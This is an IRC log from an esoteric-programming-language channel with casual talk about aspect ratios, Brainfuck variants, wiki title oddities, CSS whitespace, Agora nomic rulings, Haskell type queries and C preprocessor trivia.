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18:47:37 <ais523> that's pretty much the definition of irrational
18:47:49 <ais523> except you can optimise out the actual monitor
18:48:32 <itidus21> yeah, a monitor which was 1:3 would just be bad. the whole exercize would be pointless if it wasn't even actually pi
18:48:39 <fizzie> You could use a 22:7 pi-approximation monitor.
18:48:45 <fizzie> It's a well-known number, after all.
18:48:55 <fizzie> Don't they celebrate Pi Approximation Day then or something?
18:50:49 <elliott> MORE LIKE TAU/2 APPROXIMATION DAY
18:53:42 <lambdabot> Graphics.Rendering.OpenGL.GL.PixelRectangles module Graphics.Rendering.OpenGL.GL.PixelRectangles
18:53:52 <itidus21> wiki says CinemaScope goes up to 2.66:1 .. which isn't that far from pi
18:53:59 <itidus21> maybe they could get away with pi
18:55:30 <itidus21> 2.76:1 (~11:4) Ultra Panavision 70 (65 mm with 1.25x anamorphic squeeze). Used only on a handful of films between 1962 and 1966, such as the Battle of the Bulge (1965).
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19:00:07 <itidus21> apparently some movie "napoleon" was 4:1
19:01:48 <RocketJSquirrel> The original Stargate was some absurdly wide aspect ratio.
19:03:10 <itidus21> ah it was only last 20 mins of a 5 hour film was 4:1 it seems
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19:11:06 <Madoka-Kaname> I just had a crazy idea for Brainfuck minimization
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19:11:49 <Madoka-Kaname> And define @ as "flips the bit if mp%3==0, outputs 0 if mp%3==1, outputs 1 if mp%3==2"
19:11:52 <elliott> I don't understand "Hello!".
19:12:06 <Taneb> let x = 1 in x + x
19:12:22 <elliott> I don't understand "let". Professional tip: Use "look" to view your surroundings.
19:12:22 <Madoka-Kaname> Removes both IO instructions by making them implicit
19:12:27 <elliott> I don't understand "removes".
19:12:56 <elliott> You are in an IRC channel.
19:12:58 <elliott> There are so many idiots here.
19:13:09 <elliott> For macro support, please purchase elliott adventure: advanced edition.
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19:32:11 <Madoka-Kaname> http://paste.strictfp.com/26718?key=3395700907e5fb72c3cc04e0b68b5f31
19:32:21 <Madoka-Kaname> Can anybody see any problem with this brainfuck minimization?
19:34:40 <ais523> do you mean data pointer, rather than instruction pointer?
19:35:19 <ais523> and it doesn't seem /wrong/, but does seem rather arbitrary, it's halfway down the path to Whirl already
19:35:30 <ais523> which has only two instructions using a similar but even more blatant trick
19:38:32 <Madoka-Kaname> ais523, I'm pretty sure you could encode } in Boolfuck
19:39:08 <ais523> couldn't you do the same with Whirl? it'd be a really complex encoding, but I don't see why it wouldn't be /possible/
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19:46:09 <Taneb> Here's a not-very-good joke:
19:46:30 <Taneb> Why was the statistician hungry?
19:46:41 <Taneb> Because he could binomial!
19:47:53 <Taneb> Also, he is long term unemployed
19:50:12 <elliott> Taneb comedy "a range of emotions"
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20:01:15 -!- zzo38 has joined.
20:06:09 <ion> Unemployed, HAHAHAHAHAHAHAHAHAHAHAHAHAHA.
20:07:03 <elliott> it's funny because unemployed
20:07:22 -!- oerjan has joined.
20:10:13 -!- oerjan has set topic: This is NOT the WORST MARMITE you will ABSORB all GUY FAWKES NIGHT: http://championofbirds.com/?p=4991 | The proof is trivial! Just view the problem as a convex algebra whose elements are alternating Turing machines | http://codu.org/logs/_esoteric/.
20:10:39 <ion> Why did the chicken cross the road?
20:10:46 <ion> Because the statistician is unemployed.
20:11:52 <Taneb> ion, correlation does not employ causation
20:12:31 <ion> taneb: Ah, i understand what you mean. Let me fix it.
20:12:35 <ion> Why is the statistician unemployed?
20:12:40 <ion> Because the chicken crossed the road.
20:14:02 <ion> Correlation correlates so strongly with causation it’s obvious correlation implies causation.
20:15:12 <oerjan> 07:52:09: <NSQX> Yes, that is the same thing as http://esolangs.org/wiki/TLWNN
20:15:12 <oerjan> 07:52:52: <NSQX> Do you want to know how I changed the page's name to no title?
20:15:21 <oerjan> i guess he cannot be all bad after all
20:15:56 <elliott> oerjan: Next time it'll be your morning taken up figuring out how to move the page back.
20:16:11 <oerjan> elliott: wait, it didn't work?
20:16:32 <elliott> It "worked" to produce a page that nobody could type in, that was unclickable from recent changes, and that was very difficult to link to.
20:16:53 <elliott> (Especially since the resulting title was not actually blank...)
20:17:08 <oerjan> i mean, i cleaguely recall someone discussing that it _should_ have had no title
20:17:24 <elliott> I jokingly suggested I might hide the title element on the page once.
20:17:39 <elliott> Obviously you can move any page to a Unicode mess that looks like it's nothing.
20:18:25 <oerjan> ok so heart in the right place, cursed with bad judgement.
20:18:36 <oerjan> ^ current temporary verdict
20:19:14 <elliott> I suppose the idea might make sense if you just read the hatnote and not the rest of the page where the language is constantly referred to as "TLWNN"...
20:19:52 * oerjan continues his policy of refusing to get dragged into infuriating stuff
20:23:01 <oerjan> until next time, anyway
20:23:37 <elliott> Don't worry: I won't let myself wake up for the fourth day in a row with a mess to clean up.
20:24:12 <oerjan> elliott: btw i see he changed the method - was the original soft hyphen one working more reasonably?
20:24:29 <elliott> i woke up after it all happened.
20:24:40 <elliott> i don't know why it was changed. but both titles are unacceptable
20:24:56 <elliott> both are unclickable, both are difficult to make links to (they won't even copy from the address bar in my browser)
20:24:57 <oerjan> because the idea of replacing every instance of "TLWNN" with "" is tempting.
20:25:16 <elliott> oerjan: that would be vandalism, especially since smjg: (Move log); 15:13 . . Smjg (Talk | contribs | block) moved TLWNN to TLWNN (put it back at the title it's meant to be at)
20:25:35 <zzo38> Actually if you know where it is, you can click to the left of it and then push tab and then enter
20:25:36 <oerjan> ok smjg is the author?
20:26:10 <elliott> (that former title is the one I incorrectly moved it back to, which has unicode junk at the start of it that doesn't show up if you move a text cursor through the line and doesn't copy)
20:26:16 <oerjan> i am partially thinking of this because random happened to send me to Whitespace yesterday
20:26:39 <elliott> (which had fun effects like "TLWNN" in the search bar -> "This article doesnt exist lol heres a search page why not create [[TLWNN]]" -> click the redlink -> the article displays)
20:26:52 <oerjan> and i thought it would have been fun to make a spec for it that used the actual characters rather than any character names, everywhere
20:27:07 <elliott> I think MediaWiki might strip a lot of those out
20:27:21 <oerjan> elliott: yes, but not in pre.
20:27:34 <elliott> oerjan: i still doubt it maintains \n vs. \r\n.
20:27:42 <elliott> hmm, does whitespace use \r?
20:28:01 <oerjan> elliott: only as a synonym for \n, i think
20:28:19 <elliott> well, i think \n might end up normalised to \r\n
20:28:20 <oerjan> possibly allowing \r\n to work as both
20:28:22 <elliott> which would break things, I think
20:28:36 <oerjan> elliott: i think that was the _intention_
20:30:10 <oerjan> anyway i got stuck on two points (1) it looks like there is no way to use tab inline (i haven't quite checked it completely) (2) how _does_ one make a spec without infringing copyright on the original, anyway?
20:30:44 <itidus21> how boring it would be for you guys to maintain the wiki without NSQX and 210.156.14.10
20:33:41 <olsner> maybe if wiki maintenance was boring, elliott could go make some new esolangs instead
20:33:54 <Taneb> I made an esolang recently
20:34:27 <Taneb> I will make another soon
20:35:02 <Taneb> Actually, oerjan, can you swat olsner?
20:35:18 <Taneb> It's Real Fast Nora's Hair Salon 3: Shear Disaster Download
20:37:44 <Taneb> Also, Fueue, which needs more love
20:38:31 <elliott> oerjan: (2) by rewriting it
20:38:38 <elliott> languages aren't copyrightable, prose is
20:39:04 <elliott> oerjan: compare using an encyclopedia as a source for a paper and copying its text
20:39:17 <elliott> ok, it's not an objective standard, but nothing is in copyright
20:39:43 <Taneb> I declare the content of my webpage Public Domain, mainly because I copy a lot of it from the wiki and don't really understand copyright
20:39:48 <oerjan> you only get half the swatter since you only gave part of the name
20:40:03 <elliott> Taneb: You can put a fancy logo from Creative Commons on the page!!!
20:40:15 <elliott> http://creativecommons.org/choose/zero/
20:40:36 <olsner> oerjan: so if I had given nothing of the name, I would have had none of the swat?
20:40:37 <ais523> Taneb: you can copy public domain anywhere without problems
20:41:15 <Taneb> ais523, yeah, but I don't want to get it backwards and get the wiki in trouble
20:41:25 <elliott> Taneb: when you submit it to the wiki, you release it
20:41:31 <elliott> whether you copied it from your site or not, as long as it's yours
20:41:53 <ais523> Taneb: the opposite is all-rights-reserved, which would get you in trouble rather than the wiki
20:41:58 <elliott> (also, the only person who could get the wiki into trouble if we /did/ violate your copyrights is you, more or less)
20:42:10 <elliott> ais523: backwards as in copying from site -> wik
20:42:47 <elliott> Taneb: I like your page's background, by the way.
20:43:43 <elliott> olsner: anyway, as i was saying to ais523, I've actually worked on *two* esolangs recently, except one of them stopped being esoteric
20:44:28 <olsner> I just assumed that since I hadn't noticed, you weren't doing anything
20:45:09 <olsner> so which are those esolangs you've supposedly been working on?
20:47:11 <elliott> olsner: My name is Johny, what the F**K?????, and an unnamed language
20:48:49 <Taneb> Hey, does Fueue count as concatenative?
20:49:03 <elliott> Taneb: does appending one program to another sequence them together?
20:49:09 <olsner> oh, another spam-inspired esoname... doesn't seem to have anything on the wiki though
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20:49:39 <elliott> Taneb: considering a fueue program as a function from a queue to a queue, does (p ++ q)(queue) represent q(p(queue))?
20:49:43 <elliott> where ++ is just appending the two programs together
20:49:44 <Taneb> elliott, I don't think so...
20:50:14 <elliott> then it's not concatenative... unless you misunderstood me :)
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21:02:21 <elliott> i know which state! i don't know if monqy wants quintopia to know which state.
21:02:31 <elliott> i wouldn't trust quintopia.
21:02:44 <quintopia> it's true. i might, like...end up knowing a fact
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21:08:32 <monqy> I don't really care but
21:08:38 <monqy> why do you want to know, just curiosity???
21:11:46 <monqy> is quintopia creepy
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21:12:04 <quintopia> so that i can judge you based on your time zone
21:12:22 <quintopia> if you are atlantic time, i will judge SO HARD
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21:12:44 * oerjan tests in the sandbox: <div class="plainpres">Testing "<pre style="display: inline">	</pre>" ho!</div>
21:13:07 <oerjan> elliott: i'm just quoting from it
21:13:27 <oerjan> maybe i should save it for the future
21:13:38 <monqy> quintopia: im pacific time
21:13:58 <oerjan> http://esolangs.org/wiki/Esolang:Sandbox
21:14:07 <quintopia> monqy: rainy pacific or sunny pacific?
21:14:18 <monqy> at the moment it's raining
21:14:23 <monqy> but i think it's sunny pacific
21:14:53 <oerjan> elliott: the div is only because class="plainpres" apparently doesn't affect the element _itself_ if it's a pre
21:16:09 <elliott> oerjan: try display: inline-block
21:16:18 <elliott> that's like a block element, but smushed up with the other text
21:16:23 <oerjan> what's the difference?
21:17:34 <oerjan> hm really this should probably have <code> style, but it needs to be a <pre> because that's the only thing which preserves tabs...
21:17:39 <elliott> inline-block is inline-block
21:17:44 <elliott> see CSS spec if you need gory details
21:17:51 <elliott> oerjan: you can give the white-space property to a <code>
21:17:54 <elliott> to get it to preserve whitespace inside
21:18:15 <elliott> i can either make that work, or do the W image after wikipedia links today. pick one :P
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21:18:36 <quintopia> so monqy is in LA or somewhere just NW of there. this is a place i feel kin to, so ...
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21:19:12 <oerjan> elliott: i am sceptical because i found on google someone complaining how they couldn't get white-space: pre to work for tabs
21:19:31 <elliott> oerjan: but <pre>s are not special at all.
21:19:31 <oerjan> or that it varied chaotically between browsers
21:19:39 <elliott> the CSS rules are the only thing making them special.
21:19:53 <elliott> so if you want, you can make an <i> look just like a <pre>
21:20:00 <elliott> i can't guarantee it applies to all browsers in practice.
21:20:05 <elliott> but they all use html5 parsers nowadays
21:20:26 <elliott> oerjan: http://esolangs.org/wiki/Esolang:Sandbox
21:20:30 <elliott> inline-block works perfectly
21:21:42 <elliott> oerjan: i google "white-space css3". top result is safalra's website.
21:22:04 <oerjan> elliott: white-space: pre does work in IE8, at least.
21:22:08 <elliott> oerjan: http://esolangs.org/wiki/Esolang:Sandbox here it is with a <code>
21:22:25 <elliott> you might want to put that in a {{tab}} template or such
21:22:51 <olsner> looks like http://www.w3.org/TR/CSS/#properties has the whole list
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21:23:43 <oerjan> elliott: is the difference with inline-block that it puts the tabstops starting from the beginning of the block rather than the whole line?
21:24:01 <olsner> but it'd be nice if googling for css and a property actually got you the css spec rather than a boatload of random crap from the 'webs
21:24:41 <itidus21> from wiki i finally see why aspect ratios are x/y where x> y .. since eyes are arranged horizontally on one's face
21:25:41 <elliott> oerjan: ok, let me try and explain the difference between inline and inline-block
21:25:46 <elliott> oerjan: say your element has a red outline
21:25:54 <elliott> if it's inline, then the outline will start where your text starts, wrap across lines, etc.
21:25:59 <elliott> i.e. an inline element flows with the text, so to speak
21:26:07 <elliott> with an inline-block element, the outline will always be rectangular
21:26:17 <elliott> it basically renders it as a block and /places/ it inline
21:26:43 <elliott> oerjan: otherwise, this might help: http://dustwell.com/div-span-inline-block.html
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21:27:17 <elliott> oerjan: i'm not sure exactly _why_ it helps in this case.
21:27:31 <elliott> but i guess that "inline" text collapses whitespace always, or something
21:29:23 <elliott> <timthelion> osa1: basically, an imperitive program is just a program that is deterministic as to order of evaluation. Many mathematical structures are determinstic, gnostically, as to order of evaluation, therefore, imperitiveness is a subset of the structures which haskell can represent.
21:29:33 <elliott> i guess not making sense is this guy's day job
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21:41:07 <itidus21> elliott: he is saying that haskell can be both imperative and non-imperative
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21:45:13 <olsner> I think he's saying that imperitiveness is, gnostically, a subset of haskell
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21:47:00 <olsner> Gnostic Subset, that could be the name of something
21:48:53 <itidus21> using assignment operator '=' ... many mathematical structures = imperative program = deterministic, gnostically, as to over of evaluation
21:51:59 <oerjan> as a general rule, mathematical notation doesn't make things clearer unless you first understand what you are saying.
21:52:32 <elliott> olsner: band, when in doubt it's always a band
21:52:53 <elliott> `addquote <oerjan> as a general rule, mathematical notation doesn't make things clearer unless you first understand what you are saying.
21:53:02 <HackEgo> 832) <oerjan> as a general rule, mathematical notation doesn't make things clearer unless you first understand what you are saying.
21:55:47 <Sgeo_> Dear Chrome, please start being OK with YouTube again
21:56:18 <itidus21> Sgeo_: it wouldn't make sense for a company's browser to be the most compatible with one of that companies websites
21:56:43 <fizzie> oerjan: You must = mistaken.
21:58:02 <itidus21> i don't know any neater way than to express X = Z, Y = Z than to say X = Y = Z
21:58:32 <itidus21> but i don't actually mean to say X is Z
21:59:37 <Sgeo_> So, some non-transietive version of equality?
22:00:04 <itidus21> cars turn green in the spring. eggs turn green, gnostically, in the spring. .. so i phrased it as.. cars = eggs = turn green, gnostically, in the spring
22:00:16 <elliott> is transietive like imperitive
22:00:57 <Sgeo_> elliott, I can't spell
22:01:15 <Sgeo_> But the property of ? specifying that if a ? b and b ? c then a ? c
22:01:17 <itidus21> spelling english words is not necessary to be a programmer
22:01:37 <itidus21> anyway, if its english as a second language it matters even less
22:03:04 <olsner> it's much more important to put the correct amount of spaces on the correct side of punctuation marks !
22:03:22 <ais523> elliott: in your very recent Mr. Snuggles CFJ, did you consider the implications of submitting it without proper arguments or evidence?
22:03:29 <ais523> olsner: enigma contains different floors !
22:04:59 <ais523> (minor achievement I've accomplished: submitting the same puzzle to two different unrelated puzzle competitions both named "Enigma")
22:05:17 <elliott> ais523: I'm not a player, so I don't think I have to
22:06:41 <HackEgo> elliott: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
22:07:11 <elliott> ais523: maybe I did, maybe I didn't... whichever one will not result in you doing something nasty like criminal cfjing me
22:07:19 <ais523> I'm going to criminal CFJ you /anyway/
22:07:34 <elliott> I concluded that it was for the good of Agora for me to submit that CFJ
22:07:41 <elliott> mainly because it would lead to the game's collapse, which is for the best
22:08:02 <ais523> I wanted a nice clear precedent on whether it was possible to violate a SHOULD or not
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22:09:00 <elliott> well, truthfully, I didn't :P
22:09:16 <elliott> i suppose the only way i can be punished is EXILE, which is rather ineffective.
22:09:19 <ais523> somehow I guessed that :)
22:09:23 <RocketJSquirrel> `learn welcome We are pleased to welcome you to the conception of the international application and the language centre. For more information about de la wiki: http://esolangs.org/wiki/Main_Page
22:09:29 <ais523> and indeed, and it's possible you'll have a low or null centre
22:09:37 <ais523> even if you are found guilty
22:10:33 <elliott> ais523: centre -> punishment? how
22:10:42 <itidus21> Sgeo_: hmm.. it seems actually that i was using = as a concatenation operator
22:10:49 <ais523> oh, must have been a mental typo for "sentence"
22:10:52 <ais523> then I couldn't find the original line
22:11:16 * elliott finds RocketJSquirrel's explanation more plausible
22:11:19 <Sgeo_> ais523, didn't I try to do something to test that?
22:11:32 <ais523> can you find a link or reference to it?
22:11:38 <itidus21> so.. X + Z, Y + Z ... (X | Y) + Z
22:11:56 <ais523> itidus21: you changed notation in the middle of your line? or didn't you?
22:12:22 <itidus21> i didnt know what i was doing....
22:12:46 <itidus21> but there you have it.. X + Z, Y + Z therefore (X | Y) + Z
22:12:54 <Sgeo_> ais523, http://zenith.homelinux.net/cotc/viewcase.php?cfj=2383
22:13:33 <elliott> ais523: heh, you called it
22:13:34 <Sgeo_> elliott, what's the big difference that you're saying that that site is better?
22:14:11 <elliott> Sgeo_: cfj.qoid.us loads before the heat death of the universe, and i don't have to increase the font size a few times before not wanting to claw my eyes out
22:14:12 <Sgeo_> http://zenith.homelinux.net/cotc/viewcase.php?cfj=2383a or http://cfj.qoid.us/2383a
22:14:17 <itidus21> (many mathematical structures are | an imperative program is) deterministic, gnostically, as to over of evaluation
22:14:28 <elliott> oh, the font size seems to be better nowadays
22:15:31 <ais523> I typically use zenith over qoid, I'm more used to its search function
22:17:47 <elliott> ais523: Ctrl+F is a good enough search :P
22:17:53 <elliott> NihilistDandy: http://agoranomic.org/, you should join!
22:18:04 <elliott> it's having a bit of a slump right now
22:18:10 <elliott> but unlike B, there's no cosmic guarantee it's just getting out of one
22:18:34 <NihilistDandy> I'm into the idea. Gonna read up a bit and then probably join
22:18:59 <Sgeo_> ais523, I don't know if that appeal adequately explores stuff, considering the involvement of a direct admission...
22:19:13 <elliott> NihilistDandy: http://agora.qoid.us/current_flr.html is nice, it links rules and CFJs together
22:19:25 <ais523> it doesn't, if it did we wouldn't need another CFJ on the matter
22:19:29 <ais523> but it's a good history
22:19:36 <elliott> NihilistDandy: although http://agora.qoid.us/current_slr.txt might by better for a beginner, since they probably don't care about all the CFJs
22:20:17 <elliott> hmm, although the summaries are useful
22:20:24 <elliott> ais523: what would you recommend for a beginner, the SLR or FLR?
22:20:36 <ais523> SLR is only good if you know your way around already
22:20:39 <ais523> FLR contains all the context
22:20:57 <Sgeo_> I should get back in at some poitn
22:21:47 <elliott> ais523: heh, I think rule 104 might be the only rule that has ever been called as a CFJ
22:23:05 <elliott> Sgeo_: speaker for the first game
22:23:05 <itidus21> i live in a place which looks just like MANUBOURNE
22:23:23 <Sgeo_> Oh, the text of the rule was called as a CFJ
22:23:38 <Sgeo_> Thought someone was saying that the rule itself was both a rule and a CFJ at one point
22:24:08 <elliott> @tell comex http://agora.qoid.us/current_flr.html#rule-105 has the (hide) one CFJ line too low, presumably because the first line lists two CFJs
22:24:48 <elliott> Amended(17) by Proposal 6124 (ehird), 15 March 2009
22:24:57 <elliott> ais523: I've made a /successful proposal/ that /amended a rule/?
22:25:21 <lambdabot> comex: You have 1 new message. '/msg lambdabot @messages' to read it.
22:25:27 <comex> lambdabot: @messages
22:25:28 <lambdabot> elliott said 1m 19s ago: http://agora.qoid.us/current_flr.html#rule-105 has the (hide) one CFJ line too low, presumably because the first line lists two CFJs
22:25:42 <comex> isn't lambdabot the #haskell bot?
22:25:50 <lambdabot> ##freebsd ##logic ##proggit ##villagegreen #agda #arch-haskell #darcs #esoteric #fedora-haskell #friendly-coders #functionaljava #gentoo-haskell #gentoo-uy #ghc #happs #haskell #haskell-blah #
22:25:50 <lambdabot> haskell-books #haskell-br #haskell-fr #haskell-freebsd #haskell-in-depth #haskell-overflow #haskell-pl #haskell.au #haskell.cz #haskell.de #haskell.dut #haskell.hr #haskell.se #learnanycomputerlanguag
22:25:51 <lambdabot> e #lesswrong #macosx #macosxdev #rosettacode #scala #scalaz #scannedinavian #teamunix #unicycling #uscs2010 #xmonad #yi weird#
22:25:53 <lambdabot> help <command>. Ask for help for <command>. Try 'list' for all commands
22:25:56 <lambdabot> http://code.haskell.org/lambdabot/COMMANDS
22:26:15 <elliott> ais523: does murphy's site have proposals?
22:26:30 <ais523> it definitely has assessments
22:26:35 <ais523> not sure if it has the proposals themselves
22:26:37 <ion> Why would one scan Ned I., avian?
22:26:45 <comex> no undefined for you, huh
22:26:49 <elliott> http://agora.qoid.us/rule/1681#diff/610610/610806 hmm...
22:27:14 <ais523> it links to Wooble's website for them, which isn't working
22:27:24 <comex> you can just search gmail
22:27:40 <comex> http://pastie.org/private/lht4f5nxfe6lcxwzwuhkvw
22:27:41 <elliott> ais523: nope, just assessments, not proposals
22:27:44 <elliott> it links to wooble's site for proposals
22:28:19 <elliott> http://zenith.homelinux.net/assessor/list.php?author=ehird haha, wow, only two of my proposals have ever passed
22:28:19 <comex> (I have had the theory for a while that there is a fundamental disconnect between players that use Gmail and players tha tdon't)
22:28:23 <elliott> /including/ Mad Scientist proposals
22:28:24 <shachaf> I guess augustss forgot about undefined when he was implementing @djinn.
22:28:33 <shachaf> It would've made his life so much easier.
22:29:01 * elliott wonders wtf Fuck That does
22:29:37 <comex> @djinn Monad m => m a -> m b -> m b
22:30:02 <shachaf> Hmm, that's more than I would've expected.
22:30:15 <elliott> ais523: http://sprunge.us/hIAd
22:30:18 <shachaf> @djinn Monad m => m (m a) -> m a
22:30:19 <elliott> I have no idea why I proposed this
22:30:33 <comex> @hoogle Monad m => m (m a) -> m a
22:30:33 <lambdabot> Control.Monad join :: Monad m => m (m a) -> m a
22:30:33 <lambdabot> Prelude (>>) :: Monad m => m a -> m b -> m b
22:30:33 <lambdabot> Control.Monad (>>) :: Monad m => m a -> m b -> m b
22:30:37 <ais523> elliott: how did that amend a rule?
22:30:47 <shachaf> It should've figured that out...
22:30:50 <elliott> comex already linked the one that did: <comex> http://pastie.org/private/lht4f5nxfe6lcxwzwuhkvw
22:31:06 <ais523> what's the point of privating that?
22:31:13 <comex> I habitually private everything
22:31:16 <shachaf> @djinn Monad m => (a -> mb) -> (b -> m c) -> a -> m c
22:31:53 <NihilistDandy> @djinn Monad m => (a -> m b) -> (b -> m c) -> a -> m c
22:31:54 <shachaf> @djinn Monad m => (a -> m b) -> (b -> m c) -> a -> m c
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22:33:13 <ais523> elliott: were you a player in the first week of February?
22:33:23 <ais523> (not that it's really relevant)
22:35:00 <shachaf> Agora is a silly game. Just my 0.27 cents.
22:35:21 <lambdabot> http://snindex.spacenews.com/imaginova.spacenews/quote?Symbol=149%3A275136
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22:37:44 <NihilistDandy> Oh, god. They were right! Corporations *are* people!
22:39:04 <ais523> <ais523> I have been publishing a null string as required by the contract every week (cunningly disguised amongst other messages, I'll make it more explicit if people want)
22:39:10 <ais523> looking over past CFJs is pretty fun
22:41:20 <zzo38> In my opinion >>= should be defined in terms of join instead of the other way around
22:43:34 <shachaf> @djinn Monad m => m (a,b) -> ((a,b) -> m (c,d)) -> m (c,d)
22:43:37 <shachaf> @djinn Monad m => m a -> (a -> m b) -> m b
22:44:16 <elliott> <ais523> elliott: were you a player in the first week of February?
22:45:26 <ais523> hmm, fun question: if it turns out you can't violate a SHOULD you're unaware of, is it possible to miss the existence of RtR week due to not having read the rules?
22:45:29 <ais523> there's some sort of fun recursion here
22:47:15 <zzo38> Once I told someone that I have proven that mzero >> x = mzero is implied by the monad laws, they didn't believe me because the monad laws don't mention mzero. But I wrote a kind of proof, but it was too informal and had some mistakes, but then some other people said I was still correct in the conclusion, and that it is a free theorem.
22:47:33 <lambdabot> data Either a b = Left a | Right b
22:47:37 <lambdabot> class Monad m where return :: a -> m a; (>>=) :: m a -> (a -> m b) -> m b
22:47:39 <lambdabot> class Eq a where (==) :: a -> a -> Bool
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22:49:21 <zzo38> Rewrite it as: join (x <$ mzero) = mzero and join (return <$> x) = x
22:49:31 <Taneb> I've just realised something sad
22:49:35 <zzo38> And then include Functor laws.
22:50:09 <Taneb> In Brook, it's impossible to create the very thing Brook was created to create
22:51:15 <oerjan> i guess that somehow the Monad definition does not fit into the form necessary for the logic solver to use it efficiently - something like a missing subformula property, perhaps?
22:51:59 <lambdabot> data Either a b = Left a | Right b
22:52:02 <lambdabot> class Monad m where return :: a -> m a; (>>=) :: m a -> (a -> m b) -> m b
22:52:04 <lambdabot> class Eq a where (==) :: a -> a -> Bool
22:52:13 <Taneb> Infinite streams of code
22:52:35 <Taneb> It's possible to make an infinite number of finite streams, however
22:53:00 <oerjan> or cut-elimination theorem, or something like that
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22:57:33 <elliott> is e the sort of person who's at all likely to carefully weigh the
22:57:33 <elliott> implications of something before acting impulsively"
22:58:24 <ais523> elliott: this is the same sort of statement as you saying that I couldn't possibly be Mr. Snuggles as that would mean I'd use GMail
22:59:00 <ais523> note: I actually have code on this laptop for fetching submissions from GMail over IMAP
22:59:26 <elliott> pah, that's your university using gmail
22:59:27 <ais523> because at least two automatic submission processes I've worked on used GMail for the submission process
22:59:43 <ais523> which is stupid as they have entirely competent mailserver admins, and their own mailserver
23:00:27 <elliott> wow, I've been failing to effectively play agora for 4 years
23:01:20 <ais523> hmm, looking back over my own Lua code, it's surprising how hard it is to read sometimes due to not using semicolons
23:01:30 <ais523> x3 = m4 - x2 x5 = m4 - m5
23:01:42 <ais523> end end end end end end end end end
23:02:00 <ais523> and then a comment, then another end
23:02:07 <ais523> it's almost as good as Lisp :)
23:02:19 <elliott> Have you considered using: newlines?
23:03:19 <fizzie> "end end end end end end end end end" sounds like a crazy apocalyptic person.
23:03:32 <elliott> <ais523> if they wanted me to use newlines, they'd force me to! [or some equally-nonsensical language trolling]
23:04:15 <ais523> elliott: the code in question would have been much harder to read with newlines added between every command
23:04:25 <olsner> they should add "the end" as a macro for the right number of endings
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23:19:04 <shachaf> The thing you asked me not to remind you of?
23:19:13 <elliott> NOOOOOOOOOOOOOOOOoooooooooooooOOOOOOOooOOOOOOooOOOOOOooOOOOOOOOOOOOOOOoooooooooo
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23:21:45 <ais523> elliott: heh, something I just saw in a Reddit comment: apparently the reason the GNU tools are so complex and produce so many options is to make it obvious that they aren't copyvios of some commercial UNIX
23:22:00 <ais523> it's plausible, but it's not clear if it's true
23:22:09 <elliott> You have a weird definition of plausible.
23:22:19 <ais523> elliott: I mean that it isn't obviously false
23:22:33 <Sgeo_> How many options does true have?
23:22:59 <Sgeo_> --help and --version ?
23:23:31 <ais523> shachaf: it ignores any arguments unless it gets exactly "--help" or "--version", IIRC
23:23:31 <Sgeo_> ais523, well, it's not behaving like it recognizes those
23:23:42 <ais523> you need to use GNU true
23:24:29 <Sgeo_> There is NO WARRANTY
23:24:42 <Sgeo_> Hmm. I think I wish I had a warranty on /bin/true
23:24:47 <shachaf> true is a patentcopyrighttrademark violator.
23:24:57 <Sgeo_> Never know when it will return nothing unsuccessfully.
23:25:18 <Sgeo_> What if the power suddenly goes out? Than /bin/true might not fulfill its contract!
23:25:19 <ais523> Sgeo_: if you've never seen it before, do "/bin/true --version > /dev/full"
23:25:35 <ais523> then check the return code
23:25:42 <shachaf> @google falso true "axiomatic system"
23:25:44 <lambdabot> http://www.eleves.ens.fr/home/amarilli/falso/
23:25:54 <elliott> shachaf: I just linked to that days ago. :(
23:25:58 * ais523 /bin/true --version > /dev/full 2> /dev/full
23:26:10 <Sgeo_> ais523, is that the shell's returning 1 though?
23:26:12 <ais523> hmm, no separate error for the failure to print the error message
23:26:22 <ais523> because it failed to print the version message
23:26:28 <ais523> because there was no space left on /dev/full
23:26:43 <ais523> a tragic circumstance, too many people used it for testing lack of space errors and now it's full
23:31:08 <ais523> hey, why (in C/C++) does the null directive exist anyway?
23:31:28 <ais523> (I love saying "C/C++" when talking about the preprocessor, as that's pretty much the only context where it's a correct phrase to use)
23:31:58 <ais523> null statements are potentially useful (label anchors, etc.); null declarations don't exist but gcc implements them anyway for no obvious reason; but null directives seem a little pointless, as you can't even generate them with macros
23:32:45 <ais523> pikhq: a # on a line by itself
23:32:50 <ais523> it does nothing and is deleted by the preprocessor
23:32:58 <pikhq> That is astonishingly useless.
23:33:15 <pikhq> Why not at least make it *vaguely* useful...
23:33:34 <pikhq> So you can have compliant interpreted C code with a shebang. :)
23:33:53 <ais523> and also ignore the rest of the line, which null directives don't do
23:33:58 <ais523> they have to be alone on the line (or with a comment)
23:34:04 <ais523> (or multiple comments, I guess)
23:34:26 <pikhq> Well, even if it didn't you could work around it.
23:35:21 <ais523> or you could create a symlink to / called *, in /
23:35:49 <ais523> then you wouldn't even have to rely on // being parsed as / in a pathname (at the start of a path, it isn't necessarily)
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23:58:57 <zzo38> I tried to follow a "Tibetan Personality Test". It asked me to put animals in a preferred order, give words describing certain things, name people who know me corresponding to five colors, and to write my favorite number and day of week. Before beginning, it asked me to make a wish. I didn't know the answers, so I kept the animals in the order given, used the words themselves to describe themselves, used names of people who had the given colors
23:59:48 <zzo38> It said my wish will come true after I tell my favorite number of people about this test, on the day of the week my favorite one. But, not only does my wish describe something impossible but the number I indicated as my favorite number is not a positive integer.
00:05:13 <elliott> http://meta.stackoverflow.com/questions/126819/esoteric-programming-languages-acceptable-or-discouraged finally, someone gives us the recognition we deserve
00:06:20 <Slereah> Why are half the well known esolangs bullshit ones
00:06:59 <pikhq> Most people have no taste.
00:07:38 <Sgeo_> "Esoteric languages are part of Stack Overflow as every other language, two of them (Python and Ruby1) are even featured in SO's 404 polyglot:"
00:07:46 <Slereah> At least two of those are just cyphers of generic languages
00:07:52 <Sgeo_> "1 If you are a Pythonista or a Rubyist and feel like chopping my head off, just replace that with C and Perl.
00:07:54 <Slereah> That is basically putting stickers on your car
00:08:03 <oerjan> zzo38: hey you just have to invent a time machine, nothing big!
00:09:24 <elliott> maybe i should call my next language Brain@%#!
00:10:19 <Slereah> Is it like brainfuck except instead of +-<>[]., you only use swears
00:10:47 <elliott> no, it's in fact nothing like brainf**k, maybe i should make it a CA or something
00:11:03 <pikhq> Or a cypher of lolcode.
00:11:12 <Slereah> Shit piss cunt motherfucker tits cocks turd and twat
00:11:45 <elliott> a cipher of lolcode called "C"
00:12:32 <pikhq> Honestly, C makes for a decent esolang.
00:13:00 <Slereah> Well it's basically the only language that I have been taught
00:13:10 <Slereah> So for me it's pretty much what a programming language is
00:15:51 <elliott> What happened to the snake?
00:17:01 <Slereah> He has gone to read his SICP
